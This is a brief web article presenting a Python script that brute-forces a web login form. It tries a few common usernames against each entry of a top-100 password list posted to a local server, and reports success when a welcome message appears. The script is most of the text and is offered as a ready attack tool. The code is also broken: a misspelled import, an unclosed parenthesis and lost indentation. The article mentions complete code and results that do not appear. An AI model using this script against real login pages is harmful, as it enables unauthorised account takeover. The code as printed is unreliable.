Image courtesy by QUE.com
This is an example of Password Brute Forcing using Python.
import request
import sys
target = "http://127.0.0.1:5000"
usernames = ["admin", "user", "test"]
passwords = "top-100.txt"
needle = "Welcome back"
for username in usernames:
with open(passwords, "r") as passwords_list:
for password in passwords_list:
password = password.strip("\n").encode()
sys.stdout.write("[X] Attempting user:pasword -> {}:{}\r".format(username, password.decode())
sys.stdout.flush()
r = requests.post(target, data={"username": username, "password": password})
if needle.encode() in r.content:
sys.stdout.write("\n")
sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
sys.exit()
sys.stdout.flush()
sys.stdout.write("\n")
sys.stdout.write("\tNo password found for '{}'!".format(username))
sys.stdout.write("\n")
Here's the complete code, with added line.

and the result.

Articles published by QUE.COM Intelligence via Yehey.com website.





0 Comments